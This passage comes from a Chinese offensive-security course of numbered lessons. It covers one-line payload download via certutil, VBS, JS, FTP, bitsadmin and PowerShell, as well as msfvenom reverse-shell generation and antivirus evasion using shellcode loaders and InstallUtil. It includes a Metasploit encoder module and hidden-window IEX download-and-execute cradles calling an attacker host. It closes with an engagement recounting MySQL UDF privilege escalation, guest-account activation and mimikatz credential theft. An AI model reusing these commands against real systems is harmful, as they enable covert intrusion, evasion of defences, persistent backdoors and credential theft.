certutil.exe-urlcache-split-fhttp://192.168.1.115/robots.txt 默认下载为bin文件。但是不影响在命令行下使用。 certutil.exe下载有个弊端,它的每一次下载都有留有缓存,而导致留下入侵痕迹,所以每次下载 后,需要马上执行如下: 1. certutil.exe-urlcache-split-fhttp://192.168.1.115/robots.txtdelete certutil微软官方是这样对它解释的: 第三十八课:certutil一句话下载payload -281- 本文档使用书栈(BookStack.CN)构建 而在应急中certutil也是常用工具之一,来对比文件hash,来判断疑似文件。 Windows2003: Windows7: 1. C:\>certutil-encodec:\downfile.vbsdownfile.bat file:downfile.bat certutil的其它高级应用: 第三十八课:certutil一句话下载payload -282- 本文档使用书栈(BookStack.CN)构建 解密: file:downfile.txt 后者的话:powershell内存加载配合certutil解密是一件非常有趣的事情。会在未来的系列中讲述。 Micropoor 第三十八课:certutil一句话下载payload -283- 本文档使用书栈(BookStack.CN)构建 在实战中,会碰到许多让人敬畏的环境,也许无法执行,或者无法把下载参数带入其中,故补充第七季 vbs参数化的下载。 靶机:windows2003 visualbasicstrFileURL="http://192.168.1.115/robots.txt"strHDLocation= "c:\\test\\logo.txt"SetobjXMLHTTP=CreateObject("MSXML2.XMLHTTP")objXMLHTTP.open "GET",strFileURL,falseobjXMLHTTP.send()IfobjXMLHTTP.Status=200ThenSet objADOStream=CreateObject("ADODB.Stream")objADOStream.OpenobjADOStream.Type=1 objADOStream.WriteobjXMLHTTP.ResponseBodyobjADOStream.Position=0SetobjFSO= CreateObject("Scripting.FileSystemObject")IfobjFSO.Fileexists(strHDLocation)Then objFSO.DeleteFilestrHDLocationSetobjFSO=NothingobjADOStream.SaveToFile strHDLocationobjADOStream.CloseSetobjADOStream=NothingEndifSetobjXMLHTTP= Nothing 附:源码如下: 第三十九课:vbs一句话下载payload补充 -284- 本文档使用书栈(BookStack.CN)构建 Micropoor 第三十九课:vbs一句话下载payload补充 -285- 本文档使用书栈(BookStack.CN)构建 数据传输的完整性。 代码得精简 Binary,二进制传输 Ascii,ascII传输 在FTP文件传输过程中,ASCII传输HTML和文本编写的文件,而二进制码传输可以传送文本和非 文本(执行文件,压缩文件,图片等),具有通用性,二进制码传输速度比ASCII传输要快。所以在 建立bat脚本时,一般输入bin命令,启用二进制传输。如果用ASCII模式传输非文本文件,可 能会显示一堆乱码。ASCII和binary模式的区别是回车换行的处理。binary模式不对数据进行任 何处理,ASCII模式将回车换行转换为本机的回车字符,比如Unix下是 \n ,Windows下 是 \r\n ,Mac下是 \r 。Unix系统下行结束符是一个字节,即十六进制的 0A ,而ms的 系统是两个字节,即十六进制的 0D0A 。 1. echoopen192.168.1.11521>ftp.txt 2. echo123>>ftp.txt//user 3. echo123>>ftp.txt//password 4. echobinary>>ftp.txt//bin模式 5. echogetrobots.txt>>ftp.txt 6. echobye>>ftp.txt windows全平台自带ftp,在实战中需要考虑两点: ftp文件的传输方式: 第四十课:ftp一句话下载payload -286- 本文档使用书栈(BookStack.CN)构建 Micropoor 第四十课:ftp一句话下载payload -287- 本文档使用书栈(BookStack.CN)构建 微软官方做出如下解释: BITSAdmin是一个命令行工具,可用于创建下载或上传并监视其进度。 具体相关参数参见官方文档: https://docs.microsoft.com/zh-cn/windows/desktop/Bits/bitsadmin-tool 自windows7以上版本内置bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自动重 试,在比较复杂的网络环境下,有着不错的性能。 靶机:windows7 1. E:\>bitsadmin/rawreturn/transferdown"http://192.168.1.115/robots.txt" E:\PDF\robots.txt 需要注意的是,bitsadmin要求服务器支持Range标头。 如果需要下载过大的文件,需要提高优先级。配合上面的下载命令。再次执行 1. bitsadmin/setprioritydownforeground 如果下载文件在1-5M之间,需要时时查看进度。同样它也支持进度条。 1. bitsadmin/transferdown/download/prioritynormal "http://192.168.1.115/robots.txt"E:\PDF\robots.txt 第四十一课:bitsadmin一句话下载payload -288- 本文档使用书栈(BookStack.CN)构建 后者的话:不支持https协议。 Micropoor 第四十一课:bitsadmin一句话下载payload -289- 本文档使用书栈(BookStack.CN)构建 在办公区的内网中,充斥着大量的ftp文件服务器。其中不乏有部分敏感文件,也许有你需要的密码 文件,也许有任务中的目标文件等。本季从讲述内网ftp服务器的发现以及常用的相关模块。 靶机介绍: 靶机一:Windows2003|192.168.1.115 靶机二:Debian|192.168.1.5 msf内置search模块,在实战中,为了更快速的找到对应模块,它提供了type参数(未来会具 体讲到模块参数),以ftp模块为例。 1. msf>searchtype:auxiliaryftp 2. 3. MatchingModules 4. ================ 5. 6. NameDisclosureDateRankDescription 7. ---------------------------------- 8. auxiliary/admin/cisco/vpn_3000_ftp_bypass2006-08-23normalCiscoVPN Concentrator3000FTPUnauthorizedAdministrativeAccess 9. auxiliary/admin/officescan/tmlisten_traversalnormalTrendMicroOfficeScanNT ListenerTraversalArbitraryFileAccess 10. auxiliary/admin/tftp/tftp_transfer_utilnormalTFTPFileTransferUtility 11. auxiliary/dos/scada/d20_tftp_overflow2012-01-19normalGeneralElectricD20ME TFTPServerBufferOverflowDoS 12. auxiliary/dos/windows/ftp/filezilla_admin_user2005-11-07normalFileZillaFTP ServerAdminInterfaceDenialofService 13. ...... auxiliary/scanner/ftp/ftp_version 第四十二课:攻击FTP服务 -290- 本文档使用书栈(BookStack.CN)构建 auxiliary/scanner/ftp/ftp_login auxiliary/scanner/ftp/anonymous 第四十二课:攻击FTP服务 -291- 本文档使用书栈(BookStack.CN)构建 当然msf也内置了nmap,来内网大量发现FTP存活主机,参数与使用与nmap一致。 1. msfauxiliary(scanner/ftp/anonymous)>db_nmap-sS-T4-p21192.168.1.115 msf更多针对了ftpd。 第四十二课:攻击FTP服务 -292- 本文档使用书栈(BookStack.CN)构建 关于ftp的本地fuzzer,更推荐的是本地fuzz,msf做辅助poc。 ftp本地模糊测试辅助模块: auxiliary/fuzzers/ftp/ftp_pre_post 第四十二课:攻击FTP服务 -293- 本文档使用书栈(BookStack.CN)构建 关于后期利用,poc编写,在未来的季中会继续讲述。 Micropoor 第四十二课:攻击FTP服务 -294- 本文档使用书栈(BookStack.CN)构建 windows全版本都会默认支持js,并且通过cscript来调用达到下载payload的目的。 靶机:windows2003 1. C:\test>cscript/nologodownfile.jshttp://192.168.1.115/robots.txt 1. varWinHttpReq=newActiveXObject("WinHttp.WinHttpRequest.5.1"); 2. WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false); 3. WinHttpReq.Send(); 4. WScript.Echo(WinHttpReq.ResponseText); 1. C:\test>cscript/nologodowfile2.jshttp://192.168.1.115/robots.txt 读取: 附代码: 写入: 第四十三课:js一句话下载payload -295- 本文档使用书栈(BookStack.CN)构建 1. varWinHttpReq=newActiveXObject("WinHttp.WinHttpRequest.5.1"); 2. WinHttpReq.Open("GET",WScript.Arguments(0),/*async=*/false); 3. WinHttpReq.Send(); 4. 5. BinStream=newActiveXObject("ADODB.Stream");BinStream.Type=1; 6. 7. BinStream.Open();BinStream.Write(WinHttpReq.ResponseBody); 8. BinStream.SaveToFile("micropoor.exe"); 后者的话:简单,易用,轻便。 Micropoor 附代码: 第四十三课:js一句话下载payload -296- 本文档使用书栈(BookStack.CN)构建 第八季中提到了certutil的加密与解密。 1. C:\>certutil-encodec:\downfile.vbsdownfile.bat 而配合powershell的内存加载,则可把certutil发挥更强大。 靶机:windows2012 而今天需要的是一款powershell的混淆框架的配合 https://github.com/danielbohannon/Invoke-CradleCrafter 使用方法: 1. Import-Module./Invoke-CradleCrafter.psd1Invoke-CradleCrafter 如果在加载powershell脚本的时候提示:powershell 进行数字签运行该脚本。 则先执行: 1. set-executionpolicyBypass 第四十四课:ertutil一句话下载payload补充 -297- 本文档使用书栈(BookStack.CN)构建 生成payload:(有关生成payload,会在未来的系列中讲到) 1. root@John:/tmp#msfvenom‐pwindows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5LPORT=53‐ecmd/powershell_base64‐fpsh‐oMicropoor.txt 启动apache: 第四十四课:ertutil一句话下载payload补充 -298- 本文档使用书栈(BookStack.CN)构建 powershell框架设置: SETURLhttp://192.168.1.5/Micropoor.txt MEMORY 第四十四课:ertutil一句话下载payload补充 -299- 本文档使用书栈(BookStack.CN)构建 CERTUTIL ALL 1 混淆内容保存txt,后进行encode 第四十四课:ertutil一句话下载payload补充 -300- 本文档使用书栈(BookStack.CN)构建 把cer.cer与Micropoo.txt放置同一目录下。 目标机执行: 1. powershell.exe‐WinhiddeN‐ExecByPasSadd‐content‐path%APPDATA%\\cer.cer (New‐ObjectNet.WebClient).DownloadString('http://192.168.1.5/cer.cer'); certutil‐decode%APPDATA%\cer.cer%APPDATA%\stage.ps1&start/bcmd/c powershell.exe‐ExecBypass‐NoExit‐File%APPDATA%\stage.ps1&start/bcmd/c del%APPDATA%\cer.cer Micropoor 第四十四课:ertutil一句话下载payload补充 -301- 本文档使用书栈(BookStack.CN)构建 实战中,需要用bat解决的事情总会碰到,而针对不同的环境,可能同一件事情需要不同的方案。 bat内容:追加到bat.txt里。 1. SetoShell=CreateObject("Wscript.Shell") 2. DimstrArgs 3. strArgs="cmd/cbat.bat" 4. oShell.RunstrArgs,0,false 但是代码过长,需要追加写入。需要简化下代码。 1. CreateObject("Wscript.Shell").Run"bat.bat",0,True demo:测试bat 附代码: 附代码: 第四十五课:解决bat一句话下载payload黑窗 -302- 本文档使用书栈(BookStack.CN)构建 如果需要在目标机上执行多个bat,如果需要把代码中的bat.bat变成变量的话。 1. IfWScript.Arguments.Count>=1Then 2. ReDimarr(WScript.Arguments.Count‐1) 3. Fori=0ToWScript.Arguments.Count‐1 4. Arg=WScript.Arguments(i) 5. IfInStr(Arg,"")>0ThenArg=""""&Arg&"""" 6. arr(i)=Arg 7. Next 8. 9. RunCmd=Join(arr) 10. CreateObject("Wscript.Shell").RunRunCmd,0,True 11. EndIf Micropoor 附代码: 第四十五课:解决bat一句话下载payload黑窗 -303- 本文档使用书栈(BookStack.CN)构建 自Windows7以后内置了powershell,如Windows7中内置了PowerShell2.0,Windows 8中内置了PowerShell3.0。 靶机:windows7 powershell$PSVersionTable 基于System.Net.WebClient 1. $Urls=@() 2. $Urls+="http://192.168.1.115/robots.txt" down.ps1: 附: 第四十六课:powershell一句话下载payload -304- 本文档使用书栈(BookStack.CN)构建 3. $OutPath="E:\PDF\" 4. ForEach($itemin$Urls){ 5. $file=$OutPath+($item).split('/')[-1] 6. (New-ObjectSystem.Net.WebClient).DownloadFile($item,$file) 7. } 靶机:windows2012 powershell$PSVersionTable 在powershell3.0以后,提供wget功能,既Invoke-WebRequest C:\inetpub>powershellC:\inetpub\down.ps1 注:需要绝对路径。 down.ps1: 第四十六课:powershell一句话下载payload -305- 本文档使用书栈(BookStack.CN)构建 1. $url="http://192.168.1.115/robots.txt" 2. $output="C:\inetpub\robots.txt" 3. $start_time=Get-Date 4. Invoke-WebRequest-Uri$url-OutFile$output 5. Write-Output"Time:$((Get-Date).Subtract($start_time).Seconds)second(s)" 当然也可以一句话执行下载: 1. powershell-execbypass-c(new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.txt' 附: 第四十六课:powershell一句话下载payload -306- 本文档使用书栈(BookStack.CN)构建 Micropoor 第四十六课:powershell一句话下载payload -307- 本文档使用书栈(BookStack.CN)构建 目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点 基本也可以概括为特征查杀。无论是哪种,都是特别针对PE头文件的查杀。尤其是当payload文 件越大的时候,特征越容易查杀。 既然知道了目前的主流查杀方式,那么反制查杀,此篇采取特征与行为分离免杀。避免PE头文件,并 且分离行为,与特征的综合免杀。适用于菜刀下等场景,也是我在基于windows下为了更稳定的一种 常用手法。载入内存。 1. msfvenom-pwindows/x64/meterpreter/reverse_tcplhost=192.168.1.5lport=8080-e x86/shikata_ga_nai-i5-fraw>test.c 0x00:以msf为例:监听端口 0x01:这里的payload不采取生成pe文件,而采取shellcode方式, 来借助第三方直接加载到内存中。避免行为: 第四十七课:payload分离免杀思路 -308- 本文档使用书栈(BookStack.CN)构建 https://github.com/clinicallyinane/shellcode_launcher/ 作者的话:建议大家自己写shellcode执行盒,相关代码网上非常成熟。如果遇到问题,随时可以问 我。 生成的payload大小如下:476字节。还是X32位的payload。 0x02:既然是shellcode方式的payload,那么一定需要借助第三方来 启动,加载到内存。执行shellcode,自己写也不是很难,这里我借用 一个github一个开源: 第四十七课:payload分离免杀思路 -309- 本文档使用书栈(BookStack.CN)构建 国内世界杀毒网: 第四十七课:payload分离免杀思路 -310- 本文档使用书栈(BookStack.CN)构建 国际世界杀毒网: 第四十七课:payload分离免杀思路 -311- 本文档使用书栈(BookStack.CN)构建 上线成功。 Micropoor 第四十七课:payload分离免杀思路 -312- 本文档使用书栈(BookStack.CN)构建 payload分离免杀思路第一季是专门针对x32系统,以及针对xp包括以下版本。而在实战中,目 标机器多为Windows7以上版本。而服务器以x64位居多。在第一季中,借助了非微软自带第三方 来执行Shellcode,这一季采取调用微软自带来执行Shellcode,这里就会有一个好处,调用自带 本身一定就会有微软的签名,从而绕过反病毒软件。 Windows自WindowsXPMediaCenterEdition开始默认安装NETFramework,直至目前 的Windows10,最新的默认版本为4.6.00081.00。随着装机量,最新默认安装版本为 4.7.2053.0。 C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NETFrameWorkSDK安装在C 盘,那么你可以在 C:\WINNT\Microsoft.NET\Framework\xxxxx 目录中发现它。为了使用方便, 你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简 单,打开命令提示符,并切换到存放test.cs文件的目录中,输入下列行命令: csc/target:exe test.cs 将Ttest.cs编译成名为test.exe的console应用程序 1. //test.cs 2. usingSystem; 3. classTestApp 4. { 5. publicstaticvoidMain() 6. { 7. Console.WriteLine("Micropoor!"); 8. } 9. } 微软官方介绍如下: TheInstallertoolisacommand-lineutilitythatallowsyoutoinstalland uninstallserverresourcesbyexecutingtheinstallercomponentsinspecified assemblies.Thistoolworksinconjunctionwithclassesinthe System.Configuration.Installnamespace. ThistoolisautomaticallyinstalledwithVisualStudio.Torunthetool,usethe DeveloperCommandPrompt(ortheVisualStudioCommandPromptinWindows7).For moreinformation,seeCommandPrompts. https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer- tool 介绍相关概念: csc.exe: InstallUtil.exe: 第四十八课:payload分离免杀思路第二季 -313- 本文档使用书栈(BookStack.CN)构建 关于两个文件默认安装位置:(注意x32,x64区别) 1. C:\Windows\Microsoft.NET\Framework\ 2. C:\Windows\Microsoft.NET\Framework64\ 3. C:\Windows\Microsoft.NET\Framework\ 4. C:\Windows\Microsoft.NET\Framework64\ 文章采取2种demo来辅助本文中心思想。 以抓密码为例:测试环境:目标A机安装了360套装。目标机B安装了小红伞,NOD32。目标机安 C装了麦咖啡。 生成秘钥: 执行: 1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll/r:System.IO.Compression.dll/target:library /out:Micropoor.exe/keyfile:C:\Users\Johnn\Desktop\installutil.snk/unsafe 2. C:\Users\Johnn\Desktop\mimi.cs 1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe/logfile= /LogToConsole=false/UC:\Users\Johnn\Desktop\Micropoor.exe demo1: 第四十八课:payload分离免杀思路第二季 -314- 本文档使用书栈(BookStack.CN)构建 以msf为例: 生成shllcode 1. msfvenom--platformWindows-ax64-pwindows/x64/meterpreter/reverse_tcp_uuid LHOST=192.168.1.5LPORT=8080-b'\x00'-ex64/xor-i10-fcsharp-o ./Micropoor.txt demo2: 第四十八课:payload分离免杀思路第二季 -315- 本文档使用书栈(BookStack.CN)构建 替换shellcode。 第四十八课:payload分离免杀思路第二季 -316- 本文档使用书栈(BookStack.CN)构建 编译: 1. C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe/unsafe/platform:x64 /out:Micropoor.exeM.cs 运行: 第四十八课:payload分离免杀思路第二季 -317- 本文档使用书栈(BookStack.CN)构建 1. C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe/logfile= /LogToConsole=false/UMicropoor.exe 注:在实际测试的过程,起监听需要配置一些参数,防止假死与假session。 1. msfexploit(multi/handler)>setexitonsessionfalse 2. exitonsession=>false 3. msfexploit(multi/handler)>setEnableStageEncodingtrue 4. EnableStageEncoding=>true 5. msfexploit(multi/handler)> 6. msfexploit(multi/handler)>setStageencoderx64/xor 7. Stageencoder=>x64/xor 8. msfexploit(multi/handler)>setstageencodingfallbackfalse 9. stageencodingfallback=>false 10. msfexploit(multi/handler)>exploit-j-z 上线: 第四十八课:payload分离免杀思路第二季 -318- 本文档使用书栈(BookStack.CN)构建 mimi.cs953.71KB shllcode.cs 后者的话:该方法可以做一个带签名的长期后门。 Micropoor 第四十八课:payload分离免杀思路第二季 -319- 本文档使用书栈(BookStack.CN)构建 知识点介绍: WindowsPowerShell是以.NETFramework技术为基础,并且与现有的WSH保持向后兼容,因此它 的脚本程序不仅能访问.NETCLR,也能使用现有的COM技术。同时也包含了数种系统管理工具、简易 且一致的语法,提升管理者处理,常见如登录数据库、WMI。ExchangeServer2007以及System CenterOperationsManager2007等服务器软件都将内置WindowsPowerShell。Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐 渐开始针对powershell的一切行为。在https://technet.microsoft.com,看到文档如下: Hereisalistingoftheavailablestartupparameters: -CommandSpecifiesthecommandtexttoexecuteasthoughitweretypedatthe PowerShellcommandprompt. -EncodedCommandSpecifiesthebase64-encodedcommandtexttoexecute. -ExecutionPolicySetsthedefaultexecutionpolicyfortheconsolesession. -FileSetsthenameofascriptfiletoexecute. -InputFormatSetstheformatfordatasenttoPowerShellaseithertextstringor serializedXML.ThedefaultformatisXML.ValidvaluesaretextandXML. -NoExitDoesnotexitafterrunningstartupcommands.Thisparameterisuseful whenyourunPowerShellcommandsorscriptsviathecommandprompt(cmd.exe). -NoLogoStartsthePowerShellconsolewithoutdisplayingthecopyrightbanner. -NoninteractiveStartsthePowerShellconsoleinnon-interactivemode.Inthis mode,PowerShelldoesnotpresentaninteractiveprompttotheuser. -NoProfileTellsthePowerShellconsolenottoloadthecurrentuser’sprofile. -OutputFormatSetstheformatforoutputaseithertextstringorserializedXML. Thedefaultformatistext.ValidvaluesaretextandXML. -PSConsoleFileLoadsthespecifiedWindowsPowerShellconsolefile.Consolefiles endwiththe.psc1extensionandcanbeusedtoensurethatspecificsnap-in extensionsareloadedandavailable.YoucancreateaconsolefileusingExport- ConsoleinWindowsPowerShell. -StaStartsPowerShellinsingle-threadedmode. -VersionSetstheversionofWindowsPowerShelltouseforcompatibility,suchas 1.0. -WindowStyleSetsthewindowstyleasNormal,Minimized,Maximized,orHidden.The defaultisNormal. 针对它的特性,本地测试: Add-Type-AssemblyNamePresentationFramework; [System.Windows.MessageBox]::Show(‘Micropoor’) 第四十九课:关于Powershell对抗安全软件 -320- 本文档使用书栈(BookStack.CN)构建 上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成 payload。 micropoor.ps1不幸被杀。 针对powershell特性,更改payload 第四十九课:关于Powershell对抗安全软件 -321- 本文档使用书栈(BookStack.CN)构建 接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特 性,设计出2种payload形式: (1)目标机出网 (2)目标机不出网 并且根据需求,无缝连接Metasploit。 根据微软文档,可以找到可能对以上有帮助的属性,分别为: Window Style NoExitEncodedCommand exec 自动化实现如下: 第四十九课:关于Powershell对抗安全软件 -322- 本文档使用书栈(BookStack.CN)构建 1. #copybase64.rbtometasploit- framework/embedded/framework/modules/encoders/powershell.Ifpowershellis empty,mkdirpowershell. 2. #E.g 3. #msfencoder(powershell/base64)>useexploit/multi/handler 4. #msfexploit(multi/handler)>setpayloadwindows/x64/meterpreter/reverse_tcp 5. #payload=>windows/x64/meterpreter/reverse_tcp 6. #msfexploit(multi/handler)>exploit 7. #msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=xx.xx.xx.xxLPORT=xx-f psh-reflection--archx64--platformwindows|msfvenom-epowershell/base64-- archx64--platformwindows. 8. #[*]StartedreverseTCPhandleronxx.1xx.xx.xx:xx 9. 10. classMetasploitModule<Msf::Encoder 11. Rank=NormalRanking 12. 13. definitialize 14. super( 15. 'Name'=>'PowershellBase64Encoder', 16. 'Description'=>%q{ 17. msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=xx.xx.xx.xxLPORT=xx 18. -fpsh-reflection--archx64--platformwindows|msfvenom-e 19. powershell/base64--archx64--platformwindows. 20. }, 21. 'Author'=>'Micropoor', 22. 'Arch'=>ARCH_CMD, 23. 'Platform'=>'win') 24. 25. register_options([ 26. OptBool.new('payload',[false,'Usepayload',false]), 27. OptBool.new('x64',[false,'Usesyswow64powershell',false]) 28. ]) 29. 30. end 31. 32. defencode_block(state,buf) 33. base64=Rex::Text.encode_base64(Rex::Text.to_unicode(buf)) 34. cmd='' 35. ifdatastore['x64'] 36. cmd+='c:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe' 37. else 38. cmd+='powershell.exe' 第四十九课:关于Powershell对抗安全软件 -323- 本文档使用书栈(BookStack.CN)构建 39. end 40. ifdatastore['payload'] 41. cmd+='-windowstylehidden-execbypass-NoExit' 42. end 43. cmd+="-EncodedCommand\#{base64}" 44. end 45. end 46. 47. #ifusecaidao 48. #executeechopowershell-windowstylehidden-execbypass-c\""IEX(New- Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\""|msfvenom-e x64/xor4--archx64--platformwindows 49. #xxx.ps1ismsfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=xx.xx.xx.xx LPORT=xx-fpsh-reflection--archx64--platformwindows|msfvenom-e powershell/base64--archx64--platformwindows. copypowershell_base64.rbtometasploit‐ framework/embedded/framework/modules/encoders/powershell.Ifpowershellis empty,mkdirpowershell. 参数payload选择是否使用Metasploitpayload,来去掉powershell的关键字。 例1(目标出网,下载执行): 1. echopowershell‐windowstylehidden‐execbypass‐c\""IEX(New‐ ObjectNet.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\""|msfvenom ‐epowershell/base64‐‐archx64‐‐platformwindows 第四十九课:关于Powershell对抗安全软件 -324- 本文档使用书栈(BookStack.CN)构建 例2(目标不出网,本地执行) 1. msfvenom‐pwindows/x64/meterpreter/reverse_tcpLHOST=192.168.1.117LPORT=8080 ‐fpsh‐reflection‐‐archx64‐‐platformwindows|msfvenom‐epowershell/base64 ‐‐archx64‐‐platformwindowspayload 更多有趣的实验: 把例1的down内容更改为例2,并且去掉payload参数。来减小payload大小。 更改Invoke-Mimikatz.ps1等。 注:加payload参数 第四十九课:关于Powershell对抗安全软件 -325- 本文档使用书栈(BookStack.CN)构建 Micropoor 第四十九课:关于Powershell对抗安全软件 -326- 本文档使用书栈(BookStack.CN)构建 从xp开始默认有.netframework,在powershell后,调用起来更方便。 System.Data.SqlClient命名空间是用于SQLServer的.NET数据提供程序。在net framework2.0中新增加SqlDataSourceEnumerator类。提供了一种枚举本地网络内的所有可用 SQLServer实例机制。微软官方是这样解释的: SQLServer2000和SQLServer2005进行应用程序可以确定在当前网络中的SQLServer实例存 在。SqlDataSourceEnumerator类公开给应用程序开发人员,提供此信息DataTable包含所有可用的服务器 的信息。返回此表列出了与列表匹配提供当用户尝试创建新的连接的服务器实例以及Connection Properties对话框中,展开下拉列表,其中包含所有可用的服务器。 1. PowerShell-Command 2. "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()" 连载1 第五十课:基于SqlDataSourceEnumerator发现内网存活主机 -327- 本文档使用书栈(BookStack.CN)构建 此种方法,在实战中,不留文件痕迹。并且信息准确,发现主机也可。可应对目前主流安全防御产品。 Micropoor 第五十课:基于SqlDataSourceEnumerator发现内网存活主机 -328- 本文档使用书栈(BookStack.CN)构建 一次普通的项目,做完后,却陈思很久,遂打算一气合成把整个流程记录下来,此篇再一次的叮嘱我:分享便是 我最好的老师。 Micropoor 拿shell过程略过。(由于文章在项目实施结束形成,故部分无图或补图) windows2008r2x64位360主动+360卫士+360杀毒+waf,目标机仅支持aspx。运行 OAWeb服务(.net+mssql),并且是内网中其他服务器的数据库服务器(mysql数据库,不支持 php,无.netformysql驱动) 目标机背景: 第五十一课:项目回忆:体系的本质是知识点串联 -329- 本文档使用书栈(BookStack.CN)构建 端口开放如下: 第五十一课:项目回忆:体系的本质是知识点串联 -330- 本文档使用书栈(BookStack.CN)构建 由于目标机,安装某套装,payload一定是必须要解决的问题。当tasklist的时候,看到如下图 几个进程的时候,第一反应就是需要做payload分离免杀。分离免杀主要分两大类,一类为第三方分 离免杀,一类为自带安装分离免杀。文章中,采取了第三方分离免杀。 需要解决的第一个问题:payload 第五十一课:项目回忆:体系的本质是知识点串联 -331- 本文档使用书栈(BookStack.CN)构建 目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点 基本也可以概括为特征查杀。无论是哪种,都是特别针对PE头文件的查杀。尤其是当payload文件越大 的时候,特征越容易查杀。 既然知道了目前的主流查杀方式,那么反制查杀,此篇采取特征与行为分离免杀。避免PE头文件,并且 分离行为,与特征的综合免杀。适用于菜刀下等场景,也是我在基于windows下为了更稳定的一种常用 手法。载入内存。 本地补图(由于项目在实施后形成该文章,故本地靶机补图) 0x00:以msf为例:监听端口 第五十一课:项目回忆:体系的本质是知识点串联 -332- 本文档使用书栈(BookStack.CN)构建 1. msfvenom-pwindows/x64/meterpreter/reverse_tcplhost=192.168.1.5lport=8080-e x86/shikata_ga_nai-i5-fraw>test.c https://github.com/clinicallyinane/shellcode_launcher/ 0x01:这里的payload不采取生成pe文件,而采取shellcode方式, 来借助第三方直接加载到内存中。避免行为: 0x02:既然是shellcode方式的payload,那么需要借助第三方来启 动,加载到内存。执行shellcode,自己写也不是很难,这里我借用一 个github一个开源: 第五十一课:项目回忆:体系的本质是知识点串联 -333- 本文档使用书栈(BookStack.CN)构建 作者的话:建议大家自己写shellcode执行盒,相关代码网上非常成熟。 生成的payload大小如下:476字节。 世界杀毒网: 第五十一课:项目回忆:体系的本质是知识点串联 -334- 本文档使用书栈(BookStack.CN)构建 上线成功。 而关于自带安装分离免杀,请参考我在公司Wiki上写的第六十九课时payload分离免杀思路第二季 payload反弹到vps的msf上,我的权限仅仅如下。 参考主机背景图,184个补丁,以及某套装。遂放弃了exp提权。 需要解决的第二个问题:提权 第五十一课:项目回忆:体系的本质是知识点串联 -335- 本文档使用书栈(BookStack.CN)构建 原因1:需要更多的时间消耗在对反病毒软件对抗。 原因2:目标机补丁过多。需要消耗更多的时间 原因3:非常艰难的环境下,拿到了权限,不想因为某些exp导致蓝屏从而丢失权限。 开始翻阅目标机上的文件,以及搜集目标机的端口,服务,启动等一系列信息。发现目标机安装 mysql,并与内网其中一台建立大量连接。mysql版本为5.1.49-community-log 下载目标机*..MYI,*.MYD,*.frm,加载于本地mysql。得到目标机root密码 而目标机没有相关脚本环境连接mysql,到这里,可以有2个方向针对该问题作出解决 一:转发目标机端口到本地,从而操作mysql。 二:在非交互式下,完成mysqludf的提权。 为了减少目标主机的流量探测,以及维护来之不易的session,故选择了第二种方案。非交互式下, mysql提权。 命令行下,调用mysql是需要在启动一个mysql窗口,从而继续执行,而session下没有这样的条件。 但mysql的-e参数作为直接执行sql语句,从而不另启动窗口。而-e需要注意的事项,use database。 也就是所有参数需要mysql.xxxx 如没有指定database,将会出现如下错误,而使用UNION,将不会有回显,一定出现问题,将会很难 定位,故选择以mysql.x的方式指定。 第五十一课:项目回忆:体系的本质是知识点串联 -336- 本文档使用书栈(BookStack.CN)构建 大致流程如下: 1. mysql-uroot-pXXXXXX-e"createtablemysql.a(cmdLONGBLOB);" 2. mysql-uroot-pXXXXXX-e"insertintomysql.a(cmd)values (hex(load_file('D:\\XXXXXXXXXX\\mysql5\\lib\\plugin\\u.dll')));" 3. mysql-uroot-pXXXXXX-e"SELECTunhex(cmd)FROMmysql.aINTODUMPFILE 'D:/XXXXXXXXXX/mysql5/lib/plugin/uu.dll';" 4. mysql-uroot-pXXXXXX-e"CREATEFUNCTIONshellRETURNSSTRINGSONAME'uu.dll'" 5. mysql-uroot-pXXXXXX-e"selectshell('cmd','whoami');" 在有套装的环境下,默认拦截cmd下加帐号,而目前又无法抓取系统登录明文。mimikatz被查杀。cmd 下调用powershell被拦截。遂选择激活guest帐号,并提升到administrators组,来临时登录目标 机。 需要解决的第三个问题:登录服务器 第五十一课:项目回忆:体系的本质是知识点串联 -337- 本文档使用书栈(BookStack.CN)构建 第五十一课:项目回忆:体系的本质是知识点串联 -338- 本文档使用书栈(BookStack.CN)构建 socks代理登录目标机: 第五十一课:项目回忆:体系的本质是知识点串联 -339- 本文档使用书栈(BookStack.CN)构建 登录服务器后,目前依然不知道目标机的密码。这里有两种方向来解决该问题。 一:关闭我能关闭的套装,由于管理员没有注销登录。能关闭的有限。 二:分离免杀做mimikatz密码抓取 作者选择了第二种方案: 这里需要用到csc.exe,与InstallUtil.exe 关于两个文件默认安装位置:(注意x32,x64区别) 1. C:\Windows\Microsoft.NET\Framework\ 2. C:\Windows\Microsoft.NET\Framework64\ 3. C:\Windows\Microsoft.NET\Framework\ 4. C:\Windows\Microsoft.NET\Framework64\ 分别执行: 1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll/r:System.IO.Compression.dll/target:library /out:Micropoor.exe/keyfile:C:\Users\Johnn\Desktop\installutil.snk/unsafe 2. C:\Users\Johnn\Desktop\mimi.cs 3. 4. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe/logfile= 